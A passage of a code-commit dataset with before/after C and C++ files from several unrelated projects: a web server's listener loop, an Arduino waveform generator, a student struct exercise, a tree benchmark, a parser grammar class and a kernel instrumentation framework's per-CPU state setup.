short int port)\n  {\n    log_debug(\"listen on ip \" << ip << \" port \" << port);\n    listeners.insert(new tnt::Listener(ip, port, queue));\n  }\n\n  void Tntnet::sslListen(const std::string& certificateFile, const std::string& keyFile, const std::string& ip, unsigned short int port)\n  {\n#ifdef USE_SSL\n    log_debug(\"listen on ip \" << ip << \" port \" << port << \" (ssl)\");\n    listeners.insert(new Ssllistener(certificateFile.c_str(),\n        keyFile.c_str(), ip, port, queue));\n#else\n    log_error(\"cannot add ssl listener - ssl is not compiled into tntnet\");\n#endif \/\/ USE_SSL\n  }\n\n  void Tntnet::run()\n  {\n    log_debug(\"worker-process\");\n\n    stop = false;\n\n    if (listeners.empty())\n    {\n      unsigned short int port = (getuid() == 0 ? 80 : 8000);\n      log_info(\"no listeners defined - using ip 0.0.0.0 port \" << port);\n      listeners.insert(new tnt::Listener(\"0.0.0.0\", port, queue));\n    }\n    else\n      log_debug(listeners.size() << \" listeners\");\n\n    if (listeners.size() >= minthreads)\n    {\n      log_warn(\"at least one more worker than listeners needed - set MinThreads to \"\n        << listeners.size() + 1);\n      minthreads = listeners.size() + 1;\n    }\n\n    if (maxthreads < minthreads)\n    {\n      log_warn(\"MaxThreads < MinThreads - set MaxThreads = MinThreads = \" << minthreads);\n      maxthreads = minthreads;\n    }\n\n    \/\/ initialize worker-process\n    \/\/ create worker-threads\n    log_info(\"create \" << minthreads << \" worker threads\");\n    for (unsigned i = 0; i < minthreads; ++i)\n    {\n      log_debug(\"create worker \" << i);\n      Worker* s = new Worker(*this);\n      s->create();\n    }\n\n    \/\/ create poller-thread\n    log_debug(\"start poller thread\");\n    pollerthread.create();\n\n    log_debug(\"start timer thread\");\n    cxxtools::MethodThread<Tntnet, cxxtools::AttachedThread> timerThread(*this, &Tntnet::timerTask);\n    timerThread.create();\n\n    \/\/ mainloop\n    cxxtools::Mutex mutex;\n    while (!stop)\n    {\n      {\n        cxxtools::MutexLock lock(mutex);\n        queue.noWaitThreads.wait(lock);\n      }\n\n      if (stop)\n        break;\n\n      if (Worker::getCountThreads() < maxthreads)\n      {\n        log_info(\"create workerthread\");\n        Worker* s = new Worker(*this);\n        s->create();\n      }\n      else\n        log_info(\"max worker-threadcount \" << maxthreads << \" reached\");\n\n      if (threadstartdelay > 0)\n        usleep(threadstartdelay * 1000);\n    }\n\n    log_warn(\"stopping Tntnet\");\n\n    \/\/ join-loop\n    while (!listeners.empty())\n    {\n      listeners_type::value_type s = *listeners.begin();\n      log_debug(\"remove listener from listener-list\");\n      listeners.erase(s);\n\n      log_debug(\"request listener to stop\");\n      s->doStop();\n\n      delete s;\n\n      log_debug(\"listener stopped\");\n    }\n\n    log_info(\"listeners stopped\");\n  }\n\n  void Tntnet::setMinThreads(unsigned n)\n  {\n    if (listeners.size() >= n)\n    {\n      log_warn(\"at least one more worker than listeners needed - set MinThreads to \"\n        << listeners.size() + 1);\n      minthreads = listeners.size() + 1;\n    }\n    else\n      minthreads = n;\n\n  }\n\n  void Tntnet::timerTask()\n  {\n    log_debug(\"timer thread\");\n\n    while (!stop)\n    {\n      sleep(timersleep);\n      getScopemanager().checkSessionTimeout();\n      Worker::timer();\n    }\n\n    log_warn(\"stopping Tntnet\");\n\n    queue.noWaitThreads.signal();\n    minthreads = maxthreads = 0;\n    pollerthread.doStop();\n  }\n\n  void Tntnet::shutdown()\n  {\n    stop = true;\n  }\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <Automaton.h>\r\n#include \"Atm_teensywave.h\"\r\n\t\r\nATM_CLASSNAME & ATM_CLASSNAME::begin( int attached_pin, int steps, int delay )\r\n{\r\n      const static state_t state_table[] PROGMEM = {\r\n      \/*                ON_ENTER    ON_LOOP  ON_EXIT  EVT_COUNTER   EVT_TIMER  EVT_TOGGLE   ELSE *\/\r\n      \/* IDLE     *\/    ACT_IDLE, ATM_SLEEP,      -1,          -1,         -1,         -1,    -1,\r\n      \/* START_SN *\/   ACT_START,        -1,      -1,          -1,         -1,         -1,  SINE,\r\n      \/* SINE     *\/    ACT_SINE,        -1,      -1,    START_SN,       SINE,   START_SW,    -1,\r\n      \/* START_SW *\/   ACT_START,        -1,      -1,          -1,         -1,         -1,   SAW,\r\n      \/* SAW      *\/     ACT_SAW,        -1,      -1,    START_SW,        SAW,   START_SQ,    -1,\r\n      \/* START_SQ *\/ ACT_STARTSQ,        -1,      -1,          -1,         -1,         -1,  SQON,\r\n      \/* SQON     *\/    ACT_SQON,        -1,      -1,          -1,      SQOFF,         -1,    -1,\r\n      \/* SQOFF    *\/   ACT_SQOFF,        -1,      -1,          -1,       SQON,   START_SN,    -1,\r\n\t  };\r\n      table( state_table, ELSE );\r\n      pin = attached_pin; \r\n      _steps = steps;\r\n\t  _delay = delay;\r\n      set( timer, delay ); \r\n      set( phase, steps ); \/\/ 314 steps of 0.02 = 6.28 ( 2 * pi )\r\n      _stepsize = (float) 6.28318 \/ _steps;\r\n      pinMode( pin, OUTPUT ); \r\n\t  analogWriteResolution( 12 );\r\n      return *this;          \r\n}\r\n\r\nint ATM_CLASSNAME::event( int id ) \r\n{\r\n  switch ( id ) {\r\n\tcase EVT_TIMER :\r\n\t  return expired( timer );        \r\n\tcase EVT_COUNTER :\r\n\t  return expired( phase );        \r\n\tcase EVT_TOGGLE :\r\n\t  return signalRead( SIG_TOGGLE );\r\n   }\r\n   return 0;\r\n}\r\n\r\nvoid ATM_CLASSNAME::action( int id ) \r\n{\r\n  int val;\r\n  switch ( id ) {\r\n\tcase ACT_IDLE :\r\n\t  analogWrite( pin, 0 );\r\n\t  return;\r\n\tcase ACT_START :\r\n      set( timer, _delay ); \r\n\t  set( phase, _steps );\r\n\t  return;\r\n\tcase ACT_STARTSQ :\r\n      set( timer, (int) ( _steps * _delay \/ 2 ) ); \r\n\t  return;\r\n\tcase ACT_SINE :        \r\n\t  val = sin( phase.value * _stepsize ) * 2000.0 + 2050.0;\r\n\t  analogWrite( pin, val );\r\n\t  decrement( phase );\r\n\t  return;\r\n\tcase ACT_SAW :        \r\n\t  val = phase.value * 13;\r\n\t  analogWrite( pin, val );\r\n\t  decrement( phase );\r\n\t  return;\r\n\tcase ACT_SQON :        \r\n\t  analogWrite( pin, 4095 );\r\n\t  return;\r\n\tcase ACT_SQOFF :        \r\n\t  analogWrite( pin, 0 );\r\n\t  return;\r\n   }\r\n}<commit_msg>Signal now also switches from IDLE to START_SN<commit_after>#include <Automaton.h>\r\n#include \"Atm_teensywave.h\"\r\n\t\r\nATM_CLASSNAME & ATM_CLASSNAME::begin( int attached_pin, int steps, int delay )\r\n{\r\n      const static state_t state_table[] PROGMEM = {\r\n      \/*                ON_ENTER    ON_LOOP  ON_EXIT  EVT_COUNTER   EVT_TIMER  EVT_TOGGLE   ELSE *\/\r\n      \/* IDLE     *\/    ACT_IDLE, ATM_SLEEP,      -1,          -1,         -1,   START_SN,    -1,\r\n      \/* START_SN *\/   ACT_START,        -1,      -1,          -1,         -1,         -1,  SINE,\r\n      \/* SINE     *\/    ACT_SINE,        -1,      -1,    START_SN,       SINE,   START_SW,    -1,\r\n      \/* START_SW *\/   ACT_START,        -1,      -1,          -1,         -1,         -1,   SAW,\r\n      \/* SAW      *\/     ACT_SAW,        -1,      -1,    START_SW,        SAW,   START_SQ,    -1,\r\n      \/* START_SQ *\/ ACT_STARTSQ,        -1,      -1,          -1,         -1,         -1,  SQON,\r\n      \/* SQON     *\/    ACT_SQON,        -1,      -1,          -1,      SQOFF,         -1,    -1,\r\n      \/* SQOFF    *\/   ACT_SQOFF,        -1,      -1,          -1,       SQON,   START_SN,    -1,\r\n\t  };\r\n      table( state_table, ELSE );\r\n      pin = attached_pin; \r\n      _steps = steps;\r\n\t  _delay = delay;\r\n      set( timer, delay ); \r\n      set( phase, steps ); \/\/ 314 steps of 0.02 = 6.28 ( 2 * pi )\r\n      _stepsize = (float) 6.28318 \/ _steps;\r\n      pinMode( pin, OUTPUT ); \r\n\t  analogWriteResolution( 12 );\r\n      return *this;          \r\n}\r\n\r\nint ATM_CLASSNAME::event( int id ) \r\n{\r\n  switch ( id ) {\r\n\tcase EVT_TIMER :\r\n\t  return expired( timer );        \r\n\tcase EVT_COUNTER :\r\n\t  return expired( phase );        \r\n\tcase EVT_TOGGLE :\r\n\t  return signalRead( SIG_TOGGLE );\r\n   }\r\n   return 0;\r\n}\r\n\r\nvoid ATM_CLASSNAME::action( int id ) \r\n{\r\n  int val;\r\n  switch ( id ) {\r\n\tcase ACT_IDLE :\r\n\t  analogWrite( pin, 0 );\r\n\t  return;\r\n\tcase ACT_START :\r\n      set( timer, _delay ); \r\n\t  set( phase, _steps );\r\n\t  return;\r\n\tcase ACT_STARTSQ :\r\n      set( timer, (int) ( _steps * _delay \/ 2 ) ); \r\n\t  return;\r\n\tcase ACT_SINE :        \r\n\t  val = sin( phase.value * _stepsize ) * 2000.0 + 2050.0;\r\n\t  analogWrite( pin, val );\r\n\t  decrement( phase );\r\n\t  return;\r\n\tcase ACT_SAW :        \r\n\t  val = phase.value * 13;\r\n\t  analogWrite( pin, val );\r\n\t  decrement( phase );\r\n\t  return;\r\n\tcase ACT_SQON :        \r\n\t  analogWrite( pin, 4095 );\r\n\t  return;\r\n\tcase ACT_SQOFF :        \r\n\t  analogWrite( pin, 0 );\r\n\t  return;\r\n   }\r\n}\r\n<|endoftext|>"}
{"text":"<commit_before>#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\nstruct produto{\n    char name[65];\n    int code;\n    char size;\n    float price;\n};\n\nstruct pessoa{\n    char cabelo;\n    char olhos;\n    char sexo;\n    int idade;\n};\n\nint leitura(struct pessoa *o){\n    puts(\"Informe a cor do cabelo(C-castanho, L-louros, P-pretos):\");\n    scanf(\" %c\",&(*o).cabelo);\n    puts(\"Informe a cor dos olhos(C-castanho,A=azuis):\");\n    scanf(\" %c\",&(*o).olhos);\n    puts(\"Informe o sexo(M ou F):\");\n    scanf(\" %c\",&(*o).sexo);\n    do{\n        puts(\"Informe a idade:\");\n        scanf(\"%d\",&(*o).idade);\n    }while((*o).idade<=0);\n    return (((*o).olhos=='c')||((*o).olhos=='C'))&&(((*o).cabelo=='P')||((*o).cabelo=='p'));\n}\n\nvoid mostrarCampos(struct produto o){\n    printf(\"\\n%s\",o.name);\n    printf(\"\\n%i\",o.code);\n    printf(\"\\n%c\",o.size);\n    printf(\"\\n%.2f\\n\",o.price);\n}\n\nvoid mostrarCamposex2(struct pessoa o){\n    printf(\"\\n%c\",o.cabelo);\n    printf(\"\\n%c\",o.olhos);\n    printf(\"\\n%c\",o.sexo);\n    printf(\"\\n%i\\n\",o.idade);\n}\n\n\nvoid ex1(){\n    struct produto p[4];\n    fflush(stdin);\n    gets(p[0].name);\n    p[0].code=1337;\n    p[0].size='P';\n    p[0].price=28.5;\n    mostrarCampos(p[0]);\n    fflush(stdin);\n    gets(p[1].name);\n    p[1].code=154;\n    p[1].size='G';\n    p[1].price=23.5;\n    mostrarCampos(p[1]);\n    fflush(stdin);\n    gets(p[2].name);\n    p[2].code=597;\n    p[2].size='M';\n    p[2].price=27;\n    mostrarCampos(p[2]);\n    fflush(stdin);\n    gets(p[3].name);\n    p[3].code=754;\n    p[3].size='G';\n    p[3].price=2;\n    mostrarCampos(p[3]);\n}\n\nvoid ex2(){\n    int n,count=0;\n\n    do{\n        puts(\"Informe o numero de pessoas:\");\n        scanf(\"%d\",&n);\n    }while(n<=0);\n    struct pessoa p[n];\n    for(int x=0;x<n;x++){\n        if(leitura(&p[x]))count++;\n    }\n    for(int x=0;x<n;x++){\n        mostrarCamposex2(p[x]);\n    }\n    printf(\"%.2f %% das pessoas tem cabelo preto e olhos castanhos\",!count?0:count\/(float)n*100);\n}\n\nint main(){\n    int pick;\n    do{\n        puts(\"Informe o numero do exercicio 1 ou 2:\");\n        scanf(\"%d\",&pick);\n    }while(pick<1||pick>2);\n\n    switch(pick){\n    case 1:\n        ex1();\n        break;\n    case 2:\n        ex2();\n        break;\n    }\n    return 0;\n}\n<commit_msg>Update 14_10_13.cpp<commit_after>#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\nstruct produto{\n    char name[65];\n    int code;\n    char size;\n    float price;\n};\n\nstruct pessoa{\n    char cabelo;\n    char olhos;\n    char sexo;\n    int idade;\n};\n\nint leitura(struct pessoa *o,int *maior,int *f1835){\n    puts(\"Informe a cor do cabelo(C-castanho, L-louros, P-pretos):\");\n    scanf(\" %c\",&(*o).cabelo);\n    puts(\"Informe a cor dos olhos(C-castanho,A=azuis):\");\n    scanf(\" %c\",&(*o).olhos);\n    puts(\"Informe o sexo(M ou F):\");\n    scanf(\" %c\",&(*o).sexo);\n    do{\n        puts(\"Informe a idade:\");\n        scanf(\"%d\",&(*o).idade);\n    }while((*o).idade<=0);\n    if(!*maior||*maior<(*o).idade)*maior=(*o).idade;\n    if(((*o).sexo=='f'||(*o).sexo=='F')&&((*o).idade>17&&(*o).idade<36))*f1835+=1;\/\/notação *int++ não é valida com ponteiros\n    return (((*o).olhos=='c')||((*o).olhos=='C'))&&(((*o).cabelo=='P')||((*o).cabelo=='p'));\n}\n\nvoid mostrarCampos(struct produto o){\n    printf(\"\\n%s\",o.name);\n    printf(\"\\n%i\",o.code);\n    printf(\"\\n%c\",o.size);\n    printf(\"\\n%.2f\\n\",o.price);\n}\nvoid mostrarCamposex2(struct pessoa o){\n    printf(\"\\n%c\",o.cabelo);\n    printf(\"\\n%c\",o.olhos);\n    printf(\"\\n%c\",o.sexo);\n    printf(\"\\n%i\\n\",o.idade);\n}\n\nvoid ex1(){\n    struct produto p[4];\n    fflush(stdin);\n    gets(p[0].name);\n    p[0].code=1337;\n    p[0].size='P';\n    p[0].price=28.5;\n    mostrarCampos(p[0]);\n    fflush(stdin);\n    gets(p[1].name);\n    p[1].code=154;\n    p[1].size='G';\n    p[1].price=23.5;\n    mostrarCampos(p[1]);\n    fflush(stdin);\n    gets(p[2].name);\n    p[2].code=597;\n    p[2].size='M';\n    p[2].price=27;\n    mostrarCampos(p[2]);\n    fflush(stdin);\n    gets(p[3].name);\n    p[3].code=754;\n    p[3].size='G';\n    p[3].price=2;\n    mostrarCampos(p[3]);\n}\n\nvoid ex2(){\n    int n,count=0,maior,f1835=0;\n    do{\n        puts(\"Informe o numero de pessoas:\");\n        scanf(\"%d\",&n);\n    }while(n<=0);\n    struct pessoa p[n];\n    for(int x=0;x<n;x++){\n        if(leitura(&p[x],&maior,&f1835))count++;\n    }\n    for(int x=0;x<n;x++){\n        mostrarCamposex2(p[x]);\n    }\n    printf(\"\\nmaior idade: %d\\n\",maior);\n    printf(\"%d mulheres com idade entre 18 e 35\\n\",f1835);\n    printf(\"%.2f %% das pessoas tem cabelo preto e olhos castanhos\",!count?0:count\/(float)n*100);\n}\n\nint main(){\n    int pick;\n    do{\n        puts(\"Informe o numero do exercicio 1 ou 2:\");\n        scanf(\"%d\",&pick);\n    }while(pick<1||pick>2);\n    switch(pick){\n        case 1:\n            ex1();\n            break;\n        case 2:\n            ex2();\n            break;\n    }\n    return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Node definition and implementation for C++ binary tree benchmark program\n\n#include <random>\n\nclass Node {\n  private:\n    static std::uniform_real_distribution<double> generator(0, 1);\n    static std::mt19937_64 rng;\n    double value;\n    Node* leftchild;\n    Node* rightchild;\n<commit_msg>Progress on bench<commit_after>\/\/ Node definition and implementation for C++ binary tree benchmark program\n\/\/   Be careful not to compile with optimizations or do_work could get optimized away\n\n#include <random>\n#include <unistd.h>\n#include \"gc.h\"\n#include \"gc_cpp.h\"\n#include \"util.cpp\"\n\n#define NULL 0\n#define WORK_COST 100\n\nclass Node : public gc {\n  private:\n    static std::uniform_real_distribution<double> generator(0, 1);\n    static std::mt19937_64 rng;\n    double value;\n    Node* leftchild;\n    Node* rightchild;\n  public:\n    Node(void);\n    void populate(void);\n    void do_work(void);\n};\n\n\n\/\/ Class constructor\nNode::Node(void) {\n  this->value = 0;\n  this->leftchild = NULL;\n  this->rightchild = NULL;\n}\n\n\/\/ Populate the tree with random values\nvoid Node::populate(void) {\n  this->value = this->generator(rng);\n  (this->leftchild) ? (this->leftchild->populate()) : (null_function())\n  (this->rightchild) ? (this->rightchild->populate()) : (null_function())\n}\n\n\/\/ Do computationally expensive work\nvoid Node::do_work(void) {\n  usleep(100);\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"..\/include\/grammar.hpp\"\n#include \"..\/include\/production.hpp\"\n#include <utility>\n\n#include<iostream>\n\nusing namespace asparserations;\nusing namespace grammar;\n\nGrammar::Grammar(const std::string& start)\n  : m_end(*this, \"_end_\", 0), m_accept(*this, \"_accept_\", 0)\n{\n  m_start_symbol = &add_nonterminal(start);\n  m_accept.add_production(\"_root_\", {m_start_symbol});\n}\n\nGrammar::Grammar(Grammar&& old)\n  : m_tokens(std::move(old.m_tokens)),\n    m_nonterminals(std::move(old.m_nonterminals)),\n    m_start_symbol(std::move(old.m_start_symbol)),\n    m_end(std::move(old.m_end)),\n    m_accept(std::move(old.m_accept))\n{\n  for(auto& pair : m_tokens) {\n    pair.second.m_grammar = this;\n  }\n  for(auto& pair : m_nonterminals) {\n    pair.second.m_grammar = this;\n  }\n}\n\nToken& Grammar::add_token(const std::string& name)\n{\n  auto result = m_tokens.emplace(std::piecewise_construct,\n                                 std::forward_as_tuple(name),\n                                 std::forward_as_tuple(*this,\n                                                       name,\n                                                       m_tokens.size() + 1));\n  Token& tok = result.first->second;\n  if(result.second) {\n    m_token_vec.push_back(&tok);\n  }\n  return tok;\n}\n\nNonterminal& Grammar::add_nonterminal(const std::string& name)\n{\n  auto result = m_nonterminals\n    .emplace(std::piecewise_construct, std::forward_as_tuple(name),\n\t     std::forward_as_tuple(*this, name, m_nonterminals.size() + 1));\n  Nonterminal& nt = result.first->second;\n  if(result.second) {\n    m_nonterminal_vec.push_back(&nt);\n  }\n  return nt;\n}\n\nToken& Grammar::token_at(const std::string& name)\n{\n  return m_tokens.at(name);\n}\n\nconst Token& Grammar::token_at(const std::string& name) const\n{\n  return m_tokens.at(name);\n}\n\nNonterminal& Grammar::nonterminal_at(const std::string& name)\n{\n  return m_nonterminals.at(name);\n}\n\nconst Nonterminal& Grammar::nonterminal_at(const std::string& name) const\n{\n  return m_nonterminals.at(name);\n}\n\nconst std::vector<Nonterminal*>& Grammar::nonterminals() const\n{\n  return m_nonterminal_vec;\n}\n\nconst std::vector<Token*>& Grammar::tokens() const\n{\n  return m_token_vec;\n}\n\nconst Nonterminal& Grammar::accept() const\n{\n  return m_accept;\n}\n\nconst Token& Grammar::end() const\n{\n  return m_end;\n}\n\nNonterminal& Grammar::start_symbol()\n{\n  return *m_start_symbol;\n}\n\nconst Nonterminal& Grammar::start_symbol() const\n{\n  return *m_start_symbol;\n}\n\nvoid Grammar::set_start_symbol(Nonterminal* start)\n{\n  if(start != nullptr && &start->grammar() == this) {\n    m_start_symbol = start;\n    m_accept.production_at(\"_root_\").set_symbol(0, start);\n  }\n}\n\nvoid Grammar::compute_first_sets()\n{\n  bool needs_update = true;\n  while(needs_update) {\n    needs_update = false;\n    for(auto& pair : m_nonterminals) {\n      Grammar::NonterminalImp& nonterminal = pair.second;\n      for(const auto& elem : nonterminal.productions()) {\n\tconst Production& production = elem.second;\n\tbool production_derives_empty_string = true;\n\t\/\/Repeat until first set does not have empty string or end is reached\n\tfor(const Symbol* symbol : production.symbols()) {\n\t  for(const Token* first : symbol->first_set()) {\n\t    auto result = nonterminal.m_first_set.insert(first);\n\t    if(result.second) {\n\t      needs_update = true;\n\t    }\n\t  }\n\t  if(!symbol->derives_empty_string()) {\n\t    production_derives_empty_string = false;\n\t    break;\n\t  }\n\t}\n\tif(production_derives_empty_string) {\n\t  nonterminal.m_derives_empty_string = true;\n\t}\n      }\n    }\n  }\n  \/\/Handle accept symbol, which is not in nonterminal map\n  if(m_start_symbol != nullptr) {\n    m_accept.m_first_set = m_start_symbol->first_set();\n    if(m_start_symbol->derives_empty_string()) {\n      m_accept.m_first_set.insert(&m_end);\n    }\n  }\n}\n<commit_msg>Cleanup<commit_after>#include \"..\/include\/grammar.hpp\"\n#include \"..\/include\/production.hpp\"\n#include <utility>\n\nusing namespace asparserations;\nusing namespace grammar;\n\nGrammar::Grammar(const std::string& start)\n  : m_end(*this, \"_end_\", 0), m_accept(*this, \"_accept_\", 0)\n{\n  m_start_symbol = &add_nonterminal(start);\n  m_accept.add_production(\"_root_\", {m_start_symbol});\n}\n\nGrammar::Grammar(Grammar&& old)\n  : m_tokens(std::move(old.m_tokens)),\n    m_nonterminals(std::move(old.m_nonterminals)),\n    m_start_symbol(std::move(old.m_start_symbol)),\n    m_end(std::move(old.m_end)),\n    m_accept(std::move(old.m_accept))\n{\n  for(auto& pair : m_tokens) {\n    pair.second.m_grammar = this;\n  }\n  for(auto& pair : m_nonterminals) {\n    pair.second.m_grammar = this;\n  }\n}\n\nToken& Grammar::add_token(const std::string& name)\n{\n  auto result = m_tokens.emplace(std::piecewise_construct,\n                                 std::forward_as_tuple(name),\n                                 std::forward_as_tuple(*this,\n                                                       name,\n                                                       m_tokens.size() + 1));\n  Token& tok = result.first->second;\n  if(result.second) {\n    m_token_vec.push_back(&tok);\n  }\n  return tok;\n}\n\nNonterminal& Grammar::add_nonterminal(const std::string& name)\n{\n  auto result = m_nonterminals\n    .emplace(std::piecewise_construct, std::forward_as_tuple(name),\n\t     std::forward_as_tuple(*this, name, m_nonterminals.size() + 1));\n  Nonterminal& nt = result.first->second;\n  if(result.second) {\n    m_nonterminal_vec.push_back(&nt);\n  }\n  return nt;\n}\n\nToken& Grammar::token_at(const std::string& name)\n{\n  return m_tokens.at(name);\n}\n\nconst Token& Grammar::token_at(const std::string& name) const\n{\n  return m_tokens.at(name);\n}\n\nNonterminal& Grammar::nonterminal_at(const std::string& name)\n{\n  return m_nonterminals.at(name);\n}\n\nconst Nonterminal& Grammar::nonterminal_at(const std::string& name) const\n{\n  return m_nonterminals.at(name);\n}\n\nconst std::vector<Nonterminal*>& Grammar::nonterminals() const\n{\n  return m_nonterminal_vec;\n}\n\nconst std::vector<Token*>& Grammar::tokens() const\n{\n  return m_token_vec;\n}\n\nconst Nonterminal& Grammar::accept() const\n{\n  return m_accept;\n}\n\nconst Token& Grammar::end() const\n{\n  return m_end;\n}\n\nNonterminal& Grammar::start_symbol()\n{\n  return *m_start_symbol;\n}\n\nconst Nonterminal& Grammar::start_symbol() const\n{\n  return *m_start_symbol;\n}\n\nvoid Grammar::set_start_symbol(Nonterminal* start)\n{\n  if(start != nullptr && &start->grammar() == this) {\n    m_start_symbol = start;\n    m_accept.production_at(\"_root_\").set_symbol(0, start);\n  }\n}\n\nvoid Grammar::compute_first_sets()\n{\n  bool needs_update = true;\n  while(needs_update) {\n    needs_update = false;\n    for(auto& pair : m_nonterminals) {\n      Grammar::NonterminalImp& nonterminal = pair.second;\n      for(const auto& elem : nonterminal.productions()) {\n        const Production& production = elem.second;\n        bool production_derives_empty_string = true;\n        \/\/ Repeat until first set does not have empty string or end is reached\n        for(const Symbol* symbol : production.symbols()) {\n          for(const Token* first : symbol->first_set()) {\n            auto result = nonterminal.m_first_set.insert(first);\n            if(result.second) {\n              needs_update = true;\n            }\n          }\n          if(!symbol->derives_empty_string()) {\n            production_derives_empty_string = false;\n            break;\n          }\n        }\n        if(production_derives_empty_string) {\n          nonterminal.m_derives_empty_string = true;\n        }\n      }\n    }\n  }\n  \/\/Handle accept symbol, which is not in nonterminal map\n  if(m_start_symbol != nullptr) {\n    m_accept.m_first_set = m_start_symbol->first_set();\n    if(m_start_symbol->derives_empty_string()) {\n      m_accept.m_first_set.insert(&m_end);\n    }\n  }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/* Copyright 2012-2013 Peter Goodman, all rights reserved. *\/\n\/*\n * state.cc\n *\n *  Created on: 2012-11-19\n *      Author: pag\n *     Version: $Id$\n *\/\n\n#include \"granary\/globals.h\"\n#include \"granary\/state.h\"\n\nextern \"C\" {\n\n\n    \/\/\/ Get access to the CPU-private state.\n    extern granary::cpu_state **kernel_get_cpu_state(granary::cpu_state *[]);\n\n\n    \/\/\/ Used to run a function on each CPU.\n    extern void kernel_run_on_each_cpu(void (*func)(void));\n\n\n    \/\/\/ Call a function where all CPUs are synchronised.\n    void kernel_run_synchronised(void (*func)(void));\n\n\n    \/\/\/ Mark a page as being only readable.\n    void kernel_make_page_read_only(void *addr);\n}\n\n\nnamespace granary {\n\n\n    enum {\n        MAX_NUM_CPUS = 256\n    };\n\n\n    \/\/\/ Manually manage our own per-cpu state.\n    cpu_state *CPU_STATES[MAX_NUM_CPUS] = {nullptr};\n\n\n#if CONFIG_CHECK_CPU_ACCESS_SAFE\n    \/\/\/ Check that it's safe to access CPU-private state.\n    __attribute__((noinline))\n    void check_cpu_access_safety(void) {\n        const eflags flags = granary_load_flags();\n        if(flags.interrupt) {\n            granary_break_on_curiosity();\n        }\n    }\n#endif\n\n\n    extern \"C\" uint64_t *granary_get_private_stack_top(void)\n    {\n#if CONFIG_CHECK_CPU_ACCESS_SAFE\n        check_cpu_access_safety();\n#endif\n        return (uint64_t *) &((*kernel_get_cpu_state(CPU_STATES))->percpu_stack.top);\n    }\n\n    namespace detail {\n        struct dummy_thread_state : public client::thread_state {\n            uint64_t dummy_val;\n        };\n    }\n\n\n    \/\/\/ Figure out the size of the CPU state.\n    enum {\n        DUMMY_THREAD_STATE_SIZE = sizeof(detail::dummy_thread_state),\n        ALIGNED_THREAD_STATE_SIZE = sizeof(granary::thread_state)\n                                  + ALIGN_TO(sizeof(granary::thread_state), 8),\n        THREAD_STATE_SIZE = (sizeof(uint64_t) == DUMMY_THREAD_STATE_SIZE)\n                          ? 0\n                          : ALIGNED_THREAD_STATE_SIZE\n    };\n\n\n    \/\/\/ Gets a handle to the current CPU state.\n    cpu_state_handle::cpu_state_handle(void) throw()\n        : state(*kernel_get_cpu_state(CPU_STATES))\n    { }\n\n\n    \/\/\/ Represents CPU state that is actually allocated and has two poisoned\n    \/\/\/ pages around it.\n    struct poison {\n        char poison[PAGE_SIZE];\n    } __attribute__((packed, aligned(CONFIG_MEMORY_PAGE_SIZE)));\n\n\n    struct poisoned_cpu_state {\n        poison before;\n        cpu_state state;\n        poison after;\n    } __attribute__((aligned(CONFIG_MEMORY_PAGE_SIZE)));\n    \n    \n    struct unaligned_cpu_state {\n        char mem[sizeof(poisoned_cpu_state) + CONFIG_MEMORY_PAGE_SIZE];  \n    };\n\n\n    \/\/\/ Allocate and initialise state for each CPU.\n    static void alloc_cpu_state(void) {\n        cpu_state **state_ptr(kernel_get_cpu_state(CPU_STATES));\n        unaligned_cpu_state *state_ptr(\n            allocate_memory<unaligned_cpu_state>());\n        uintptr_t state_addr(reinterpret_cast<uintptr_t>(state_ptr));\n        poisoned_cpu_state *poisoned_state(unsafe_cast<poisoned_cpu_state *>(\n            state_addr + ALIGN_TO(state_addr, CONFIG_MEMORY_PAGE_SIZE)));\n\n        *state_ptr = &(poisoned_state->state);\n\n#if CONFIG_HANDLE_INTERRUPTS || CONFIG_INSTRUMENT_HOST\n        \/\/ Get a copy of the native IDTR.\n        get_idtr(&(poisoned_state->state.native_idtr));\n#endif\n\n#if CONFIG_INSTRUMENT_HOST\n        \/\/\/ Get a copy of the native MSR_LSTAR model-specific register.\n        poisoned_state->state.native_msr_lstar = get_msr(MSR_LSTAR);\n#endif\n    }\n\n\n    \/\/\/ Initialise the CPU state.\n    void cpu_state::init_early(void) throw() {\n        kernel_run_on_each_cpu(alloc_cpu_state);\n    }\n\n\n    \/\/\/ Initialise the IDTR and MSR_LSTAR for each CPU.\n    static void set_percpu(void) {\n        cpu_state_handle cpu;\n\n#if CONFIG_HANDLE_INTERRUPTS || CONFIG_INSTRUMENT_HOST\n        set_idtr(&(cpu->idtr));\n#endif\n\n#if CONFIG_INSTRUMENT_HOST\n        set_msr(MSR_LSTAR, cpu->msr_lstar);\n#endif\n\n        UNUSED(cpu);\n    }\n\n\n    void cpu_state::init_late(void) throw() {\n        eflags flags;\n\n        enum {\n            NEG_OFFSET = offsetof(poisoned_cpu_state, state),\n            POS_OFFSET = offsetof(poisoned_cpu_state, after) - NEG_OFFSET\n        };\n\n        for(unsigned i(0); i < MAX_NUM_CPUS; ++i) {\n\n            if(!CPU_STATES[i]) {\n                continue;\n            }\n\n            \/\/ Page protect the poisoned pages around the CPU state.\n            kernel_make_page_read_only(\n                unsafe_cast<char *>(CPU_STATES[i]) - NEG_OFFSET);\n            kernel_make_page_read_only(\n                unsafe_cast<char *>(CPU_STATES[i]) + POS_OFFSET);\n\n#if CONFIG_HANDLE_INTERRUPTS || CONFIG_INSTRUMENT_HOST\n#   if CONFIG_ENABLE_INTERRUPT_DELAY\n            \/\/ Allocate space for interrupt delay handlers.\n            CPU_STATES[i]->interrupt_delay_handler = reinterpret_cast<app_pc>(\n                global_state::FRAGMENT_ALLOCATOR-> \\\n                    allocate_untyped(16, INTERRUPT_DELAY_CODE_SIZE));\n#   endif\n            \/\/ Create this CPUs IDT and vector entry points.\n            flags = granary_disable_interrupts();\n            {\n                cpu_state_handle cpu;\n                cpu.free_transient_allocators();\n                CPU_STATES[i]->idtr = create_idt(CPU_STATES[i]->native_idtr);\n            }\n            granary_store_flags(flags);\n#endif\n#if CONFIG_INSTRUMENT_HOST\n            \/\/ Create this CPUs SYSCALL entry point.\n            flags = granary_disable_interrupts();\n            {\n                cpu_state_handle cpu;\n                cpu.free_transient_allocators();\n                CPU_STATES[i]->msr_lstar = create_syscall_entrypoint(\n                    CPU_STATES[i]->native_msr_lstar);\n            }\n            granary_store_flags(flags);\n#endif\n\n            \/\/ Page protect the IDTs.\n            